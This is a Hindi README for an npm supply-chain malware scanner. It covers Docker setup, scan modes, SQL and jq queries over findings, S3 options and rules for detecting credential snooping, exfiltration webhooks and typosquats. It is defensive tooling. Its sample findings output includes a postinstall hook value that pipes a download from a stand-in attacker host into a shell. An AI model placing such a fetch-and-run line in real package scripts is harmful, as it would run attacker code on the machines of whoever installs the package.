
समुदाय के लिए एक सार्वजनिक पैकेज स्कैनर
बेहद सरल, Docker‑प्रथम npm आपूर्ति‑श्रृंखला स्कैनर। एक compose फ़ाइल चलाती है:
यह केवल कंटेनर संस्करण है। प्रोजेक्ट को EC2, SQS और RDS का उपयोग करके स्केल करने के लिए बनाया जा सकता है। अधिकांश सेटअप टूलसेट में इसके लिए तैयार है।
scan.yml के माध्यम से कॉन्फ़िगरेबल नियम (अनुमति सूची, सीमाएँ, YARA)scan_runs) उपयोग के लिए तैयार~/.aws के माध्यम से क्रेडेंशियल)docker-compose.yml – सेवाएँ: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – Node वर्कर जो NDJSON कतार बनाता हैfetcher/ – Node वर्कर जो tarballs डाउनलोड करता है (+ S3 पर अपलोड करता है यदि सक्षम हो)analyzer/ – Python स्थैतिक विश्लेषक (+ वैकल्पिक इनलाइन YARA)dashboard/ – Streamlit ऐप (पोर्ट 8501)infra/migrations.sql – मुख्य DB स्कीमा (पैकेज, संस्करण, findings, स्कोर, इंडेक्स)infra/20251106_scan_runs.sql – स्कैन इतिहास तालिकाscan.yml – विश्लेषण कॉन्फ़िगरेशन (नियम, स्कोरिंग, अनुमति सूची, YARA)scripts/run_pipeline.sh – enumerate → fetch → analyze चलाएँscripts/init_db.sh – DB स्कीमा बूटस्ट्रैप करेंscripts/test_setup.sh – स्वचालित सेटअप सत्यापनपूर्वापेक्षाएँ: Compose v2 के साथ Docker Desktop (या इंजन)।
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
यह रिपो को ~/package-inferno में क्लोन करता है और आरंभ करने के लिए निर्देश देता है।
GitHub Container Registry से पूर्व-निर्मित कंटेनर खींचें और चलाएँ:
# कॉन्फ़िग फ़ाइलों और स्क्रिप्ट के लिए रिपो क्लोन करें
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# पूर्व-निर्मित इमेज के साथ चलाएँ
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
उपलब्ध इमेज:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainअपनी स्थापना को मान्य करने के लिए परीक्षण स्क्रिप्ट चलाएँ:
./scripts/test_setup.sh
यह:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# http://localhost:8501 खोलें
findings ./out/findings/*.findings.json में और findings तालिका में (जब DB सक्षम हो) संग्रहीत होती हैं।
PackageInferno आपके लक्ष्यों के आधार पर कई स्कैनिंग रणनीतियों का समर्थन करता है:
उन पैकेजों को लक्षित करें जिनका आप विश्लेषण करना चाहते हैं:
# सीड्स के साथ एकल कमांड
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# या फ़ाइल से
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
मैंने प्रारंभिक परीक्षण कैसे किया: त्वरित सत्यापन के लिए SEEDS="is-odd,is-even" का उपयोग किया।
_all_docs)npm की रजिस्ट्री से पेजिनेटेड पैकेज स्कैन करें:
# पिछली रन साफ़ करें
rm -rf downloads/* out/*
# 2 पेज प्रत्येक में 10 पैकेज स्कैन करें (20 पैकेज)
export MAX_CHUNKS=2 # पेजों की संख्या
export CHUNK_LIMIT=10 # प्रति पेज पैकेज
unset SEEDS # महत्वपूर्ण: सीड्स मोड अक्षम करें
# बेहतर दृश्यता के लिए व्यक्तिगत चरण चलाएँ
docker compose run --rm enumerator # खोजें और कतारबद्ध करें
docker compose run --rm fetcher # tarballs डाउनलोड करें
docker compose run --rm analyzer # खतरों के लिए स्कैन करें
उदाहरण आउटपुट:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
संपूर्ण npm रजिस्ट्री स्कैन करें:
export MAX_CHUNKS=0 # 0 = असीमित
export CHUNK_LIMIT=100 # दक्षता के लिए बड़े बैच
./scripts/run_pipeline.sh
चेतावनी: यह घंटों/दिनों तक चलेगा और सैकड़ों हजारों पैकेज स्कैन करेगा। डिस्क स्थान और डेटाबेस आकार की निगरानी करें।
Enumerator ./out/enumerator_state.json में कर्सर स्थिति के साथ स्थिति सहेजता है:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
बस पाइपलाइन को फिर से चलाएँ और यह अंतिम कर्सर से फिर से शुरू होगी:
./scripts/run_pipeline.sh # स्वचालित रूप से फिर से शुरू होता है
नए सिरे से स्कैन करने के लिए:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
22 पैकेजों के 2-पेज स्कैन से, PackageInferno ने यह पाया:
-- स्कोर के अनुसार शीर्ष संदिग्ध पैकेज
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- परिणाम:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
rendition इतना संदिग्ध क्यों था?
url_outside_allowlist - अनुमति सूची में नहीं डोमेनsuspicious_pattern - शेल/eval पैटर्नadvanced_obfuscation - हेक्स एन्कोडिंग, XOR, स्ट्रिंग ऐरेbig_base64_blob - बड़े एन्कोडेड पेलोडurl_in_code - एम्बेडेड URLsस्कोरिंग सिस्टम (scan.yml में कॉन्फ़िगर किया गया) इन findings को एकत्रित करके एक जोखिम स्कोर और लेबल (clean, suspicious, या malicious) उत्पन्न करता है।
docker compose up -d dashboard चलाने के बाद http://localhost:8501 खोलें
विशेषताएँ:
कस्टम विश्लेषण के लिए प्रत्यक्ष SQL पहुँच:
# डेटाबेस से जुड़ें
docker exec -it pi-postgres psql -U piuser -d packageinferno
उपयोगी क्वेरी:
-- क्रेडेंशियल चोरी के प्रयासों वाले पैकेज
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- सभी मिले C2/वेबहुक गंतव्य
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- टाइपोस्क्वाटिंग प्रयास
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- नेटिव बाइनरी वाले पैकेज
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
findings ./out/findings/ में संरचित JSON के रूप में भी सहेजे जाते हैं:
# किसी विशिष्ट पैकेज के findings देखें
cat out/findings/[email protected] | jq .
# गंभीरता के अनुसार findings गिनें
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# सभी मिले C2 URLs निकालें
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
यदि आप S3 में artifacts चाहते हैं:
package-inferno-tarballs (कच्चे npm tarballs)package-inferno-findings (विश्लेषक आउटपुट)~/.aws में मान्य क्रेडेंशियल हैं (प्रोफ़ाइल या पर्यावरण आधारित)।export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # वैकल्पिक; या env क्रेडेंशियल पर निर्भर रहें
compose ~/.aws को fetcher और analyzer में माउंट करता है। यदि LOCAL_ONLY=false है, तो fetcher tarballs को S3_TARBALLS पर अपलोड करता है। यदि S3_FINDINGS सेट है, तो analyzer स्थानीय रूप से लिखने के बाद findings JSON अपलोड करता है।
न्यूनतम IAM नीति उदाहरण (जिस उपयोगकर्ता/रोल का आप उपयोग कर रहे हैं, उससे संलग्न करें):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
मुख्य नॉब्स scan.yml में हैं। मुख्य बातें:
analysis.allow_domains – वे डोमेन जो “outside allowlist” नहीं उठाएँगेanalysis.allowlist.build_tools – हानिरहित बिल्ड चरणों के लिए regexanalysis.yara.* – इनलाइन YARA सक्षम करें (डिफ़ॉल्ट चालू), नियम पथ, आकार/समय सीमाएँscoring.rule_weights और scoring.thresholds – “suspicious/malicious” ट्यून करेंकंटेनर पर्यावरण जो आप सेट कर सकते हैं:
DAYS (डिफ़ॉल्ट 30), CHUNK_LIMIT (डिफ़ॉल्ट 100), MAX_CHUNKS (डिफ़ॉल्ट 5)SEEDS, SEEDS_FILE – सीड पैकेज नामLOCAL_ONLY=true (फ़ाइल में कतार), डिडुप्लिकेशन के लिए DB_URLLOCAL_ONLY=false S3 पर tarballs अपलोड करने के लिएS3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 असीमित निष्कर्षण के लिएS3_FINDINGS, स्थानीय compose के लिए DB URL पहले से तैयार है:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson में एक NDJSON कतार लिखता है (और DB में “queued” संस्करणों को अपसेर्ट कर सकता है)।./downloads में डाउनलोड करता है, और यदि कॉन्फ़िगर किया गया हो तो S3 पर अपलोड करता है।./out/findings में लिखता है। यदि DB कॉन्फ़िगर किया गया है, तो यह findings और स्कोर को अपसेर्ट करता है।enumerator/src/enumerator.js)उद्देश्य: स्कैन करने के लिए npm पैकेज खोजता है और कार्य कतार बनाता है।
यह क्या करता है:
SEEDS env var या SEEDS_FILE के माध्यम से विशिष्ट पैकेज स्कैन करें_changes एंडपॉइंट की निगरानी करें_all_docs एंडपॉइंट के माध्यम से पेजिनेट करें (पुनरारंभ करने योग्य कर्सर के साथ)./out/fetch_queue.ndjson या SQS में भेजता हैमुख्य पर्यावरण चर:
SEEDS="pkg1,pkg2" – स्कैन करने के लिए अल्पविराम से अलग किए गए पैकेज नामSEEDS_FILE – प्रति पंक्ति एक पैकेज के साथ टेक्स्ट फ़ाइल का पथMAX_CHUNKS=5 – पेजिनेशन सीमित करें (0 = असीमित)CHUNK_LIMIT=100 – प्रति API पेज पैकेजDB_URL – डिडुप्लिकेशन के लिए पोस्टग्रेस कनेक्शनउदाहरण उपयोग:
# विशिष्ट पैकेज स्कैन करें
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# फ़ाइल से स्कैन करें
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)उद्देश्य: रजिस्ट्री से npm tarballs डाउनलोड करता है।
यह क्या करता है:
./out/fetch_queue.ndjson (या SQS) से पढ़ता है./downloads/ में [email protected] के रूप में सहेजता हैS3_TARBALLS) पर अपलोड करता हैमुख्य पर्यावरण चर:
LOCAL_ONLY=true – S3 अपलोड छोड़ें (केवल-स्थानीय मोड)S3_TARBALLS – tarball भंडारण के लिए S3 बकेट नामDOWNLOAD_DIR=./downloads – स्थानीय आउटपुट निर्देशिकाMAX_RETRIES=5 – HTTP पुनर्प्रयास प्रयासS3 कुंजी प्रारूप: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)उद्देश्य: स्थैतिक विश्लेषण इंजन जो पैकेजों में दुर्भावनापूर्ण पैटर्न का पता लगाता है।
यह क्या करता है:
package.json पार्स करता हैscan.yml से भारित नियमों का उपयोग करके findings को स्कोर करता है./out/findings/ में लिखता है और DB में अपसेर्ट करता हैपहचान नियम (पूरी सूची के लिए analyzer/src/analyzer.py देखें):
lifecycle_script – जोखिमपूर्ण install/postinstall हुकurl_outside_allowlist – गैर-अनुमत डोमेन के लिए नेटवर्क कॉलc2_webhook – ज्ञात एक्सफ़िल एंडपॉइंट (Discord, Slack, Telegram)env_snoop – AWS कुंजियों, टोकन, पासवर्ड तक पहुँचwrites_outside_pkg – FS .ssh, .npmrc, सिस्टम निर्देशिकाओं में लिखता हैtyposquat_detected – पैकेज नाम लोकप्रिय पैकेजों के समानadvanced_obfuscation – हेक्स, XOR, स्ट्रिंग ऐरे, नियंत्रण प्रवाह समतलनyara_match – YARA नियम हिट (मैलवेयर, एक्सप्लॉइट, वेबशेल)phishing_form – क्रेडेंशियल हार्वेस्टिंग फॉर्मnative_binary_present – PE/ELF/Mach-O निष्पादन योग्यमुख्य पर्यावरण चर:
MAX_EXTRACT_BYTES=0 – निष्कर्षण आकार सीमा (0 = असीमित)SCAN_YML=/app/scan.yml – कॉन्फ़िग फ़ाइल का पथDB_URL – findings भंडारण के लिए पोस्टग्रेस कनेक्शनS3_FINDINGS – findings अपलोड के लिए S3 बकेटआउटपुट प्रारूप (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "High-risk postinstall hook: shell_spawn, downloader"
}
}
]
}
1. पैटर्न-आधारित पहचान (analyzer/src/analyzer.py में जोड़ें):
# रेगेक्स पैटर्न परिभाषित करें
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# analyze_file_bytes() फ़ंक्शन में जोड़ें
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... मौजूदा कोड ...
# आपकी कस्टम जाँच
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detected dangerous-function call'
}
})
return out
2. स्कोरिंग भार जोड़ें (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # आपका नया नियम
# ... मौजूदा नियम ...
thresholds:
suspicious: 7
malicious: 12
3. स्कोरिंग फ़ंक्शन अपडेट करें (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... मौजूदा नियम ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... शेष फ़ंक्शन ...
1. कस्टम नियम फ़ाइल बनाएँ (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detects custom threat pattern"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. scan.yml अपडेट करें:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # अपने नियमों की ओर इंगित करें
max_file_size_mb: 10
timeout_seconds: 30
3. docker-compose.yml में कस्टम नियम माउंट करें:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
झूठी सकारात्मकता कम करने के लिए scan.yml में विश्वसनीय डोमेन जोड़ें:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # अपना डोमेन जोड़ें
वैध बिल्ड कमांड को अनुमति सूचीबद्ध करें:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db चल रहा है, फिर ./scripts/init_db.sh को पुनः चलाएँ।~/.aws/credentials, AWS_REGION, और बकेट नीति/अनुमतियाँ सत्यापित करें।scan.yml में फ़ाइल आकार सीमाएँ कम करें या इनलाइन YARA अक्षम करें (analysis.yara.enabled: false)।CHUNK_LIMIT कम कर सकते हैं या धीरे-धीरे MAX_CHUNKS बढ़ा सकते हैं।SCANNING_GUIDE.md| मोड | उपयोग मामला | गति | कवरेज | कमांड |
|---|
| विशिष्ट सीड्स (बीज) | ज्ञात पैकेजों का परीक्षण/जांच | सबसे तेज़ | लक्षित | SEEDS="pkg1,pkg2" |
| छोटा बैच | सेटअप मान्य करें, नमूना स्कैन | तेज़ | 10-100 पैकेज | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| पूर्ण रजिस्ट्री | व्यापक आपूर्ति श्रृंखला ऑडिट | घंटे-दिन | 2M+ पैकेज | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| परिवर्तन फ़ीड | नए रिलीज़ की निगरानी (स्वचालित रूप से शामिल) | रीयल-टाइम | हालिया अपडेट | अंतर्निहित |
AWS_REGIONDB_URL